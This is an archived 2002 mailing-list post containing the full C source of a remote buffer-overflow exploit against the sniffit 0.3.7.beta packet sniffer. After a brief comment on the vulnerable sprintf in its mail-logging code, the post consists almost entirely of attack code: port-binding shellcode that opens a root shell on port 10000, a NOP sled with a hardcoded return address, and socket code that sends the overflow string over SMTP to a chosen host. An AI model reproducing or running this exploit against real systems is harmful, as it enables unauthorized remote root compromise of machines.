('binary' encoding is not supported, stored as-is) /* Remote overflow in sniffit.0.3.7.beta tested on slackware 7.1 found/coded by g463 -18th january 2002- The vulnerability is triggered when the option -L is called from the command line with 'normmail' ie : ./sniffit -c ./sample_config_file -L normmail It calls a piece of code where the buffer is unchecked //From sniffit.0.3.7.beta/sn_logfile.c void print_mail (char *conn, char *msg) { char line[250]; sprintf(line,"%s: mail [%s]",conn,msg); print_logline (line); } - In a normal situation, it could be easier to fill line [250] with our shellcode, but since this buffer gets filter with some kind of strlower() function (thus our shellcode/return adress too), i rely on an unfiltered buffer with the same data so we can point eip back at that place with clean, unmodified shellcode :D All my brothers (alphabetical order) : Erebus, Jinx, mtadbf, nitr0gen, Slink[e] + some others i forget :p */ #include <stdio.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <unistd.h> #include <error.h> #include <string.h> #define SMTP_PORT 25 #define MAX_LINE 256 #define BUFLEN 252 //define this to your ip #define MY_IP "192.168.0.1" //Value for overwriting eip //should be the adress of the data buffer + some couple of garbage bytes #define RETADR 0x08059408 //Port binding shellcode, binds on port 10000 //taken from bighawkat_private char shellcode[] = "\x31\xc0" // xor eax, eax "\x31\xdb" // xor ebx, ebx "\x89\xe5" // mov ebp, esp "\x99" // cdq "\xb0\x66" // mov al, 102 "\x89\x5d\xfc" // mov [ebp-4], ebx "\x43" // inc ebx "\x89\x5d\xf8" // mov [ebp-8], ebx "\x43" // inc ebx "\x89\x5d\xf4" // mov [ebp-12], ebx "\x4b" // dec ebx "\x8d\x4d\xf4" // lea ecx, [ebp-12] "\xcd\x80" // int 80h "\x89\x45\xf4" // mov [ebp-12], eax "\x43" // inc ebx "\x66\x89\x5d\xec" // mov [ebp- 20], bx "\x66\xc7\x45\xee\x27\x10" // mov [ebp-18], word 4135 "\x89\x55\xf0" // mov [ebp-16], edx "\x8d\x45\xec" // lea eax, [ebp-20] "\x89\x45\xf8" // mov [ebp-8], eax "\xc6\x45\xfc\x10" // mov [ebp-4], byte 16 "\xb2\x66" // mov dl, 102 "\x89\xd0" // mov eax, ed "\x8d\x4d\xf4" // lea ecx, [ebp-12] "\xcd\x80" // int 80h "\x89\xd0" // mov eax, edx "\xb3\x04" // mov bl, 4 "\xcd\x80" // int 80h "\x43" // inc ebx "\x89\xd0" // mov eax, edx "\x99" // cdq "\x89\x55\xf8" // mov [ebp-8], edx "\x89\x55\xfc" // mov [ebp-4], edx "\xcd\x80" // int 80h "\x31\xc9" // xor ecx, ecx "\x89\xc3" // mov ebx, eax "\xb1\x03" // mov cl, 3 "\xb0\x3f" // mov al, 63 "\x49" // dec ecx "\xcd\x80" // int 80h "\x41" // inc ecx "\xe2\xf8" // loop -7 "\x52" // push edx "\x68\x6e\x2f\x73\x68" // push dword 68732f6eh "\x68\x2f\x2f\x62\x69" // push dword 69622f2fh "\x89\xe3" // mov ebx, esp "\x52" // push edx "\x53" // push ebx "\x89\xe1" // mov ecx, esp "\xb0\x0b" // mov al, 11 "\xcd\x80"; // int 80h int usage (char *); int calculate_conn_lenght (struct sockaddr_in, struct sockaddr_in); int main (int argc, char *argv[]) { struct sockaddr_in stServer, stClient; char *ptHost; unsigned long int iHost; int iSockfd, iLenght, iAlign = 0; char sBuffer[MAX_LINE]; char sString[300]; int i; if (argc != 2) usage (argv[0]); ptHost = argv[1]; if ( (iHost = inet_addr (argv[1])) == INADDR_NONE) { printf ("Invalid host or host is 255.255.255.255\n"); exit (-1); } //Fill the server struct memset (&stServer, 0, sizeof (struct sockaddr_in)); stServer.sin_family = AF_INET; stServer.sin_port = htons (SMTP_PORT); stServer.sin_addr.s_addr = iHost; if ( (iSockfd = socket (AF_INET, SOCK_STREAM, 0)) == -1) { printf ("Error opening socket\n"); exit (-1); } // Fill the client struct, mainly used to calculate the right align for RET addy memset (&stClient, 0, sizeof (struct sockaddr_in)); stClient.sin_family = AF_INET; stClient.sin_port = htons (0); stClient.sin_addr.s_addr = inet_addr (MY_IP); if ( (bind (iSockfd, (struct sockaddr *) &stClient, sizeof (stClient))) == -1 ) { perror ("Cant bind socket"); exit (-1); } iAlign = calculate_conn_lenght (stClient, stServer); i = BUFLEN - iAlign + 4; if ( (connect (iSockfd, (struct sockaddr *) &stServer, sizeof (stServer))) != 0) { perror ("Cant connect"); exit (-1); } else printf ("Connected to host %s on port %d\n\n", ptHost, SMTP_PORT); // Recevons la banniŠre du serveur smtp if ( (iLenght = recv (iSockfd, sBuffer, MAX_LINE, 0)) == -1) { perror ("Cant get server banner"); exit (-1); } printf ("%s\n", sBuffer); printf ("Building evil string... >:)\n"); memset (sString, 0x90, sizeof (sString)); memcpy (sString, "mail from:", strlen ("mail from:")); memcpy(sString + i - strlen (shellcode), shellcode, strlen (shellcode)); sString[i++] = (RETADR & 0x000000ff); sString[i++] = (RETADR & 0x0000ff00) >> 8; sString[i++] = (RETADR & 0x00ff0000) >> 16; sString[i++] = (RETADR & 0xff000000) >> 24; sString[i] = '\0'; if ( (send (iSockfd, sString, strlen (sString), 0)) == - 1) { perror ("cant send message"); exit (-1); } printf ("Evil string sent!\n"); printf ("Try telneting the host on port 10000 for r00t shell!\n"); close (iSockfd); return (0); } int usage (char *progname) { printf ("%s <ip>\n", progname); exit (-1); } /* function to calculate conn entry lenght ie : strlen of ("192.168.0.1.1024-192.168.0.69.25"); (fuckin dirty but heh it works) */ int calculate_conn_lenght (struct sockaddr_in me, struct sockaddr_in him) { int lenght = 0; struct in_addr in; in.s_addr = me.sin_addr.s_addr; lenght += strlen (inet_ntoa (in)); // 192.168.0.1 lenght++; // . lenght += 4; // 1220 lenght ++; // . in.s_addr = him.sin_addr.s_addr; lenght += strlen (inet_ntoa (in)); // 192.168.0.69 lenght++; // . lenght += 2; // 25 lenght += strlen (": mail ["); return (lenght); }
This archive was generated by hypermail 2b30 : Mon Jan 21 2002 - 21:16:14 PST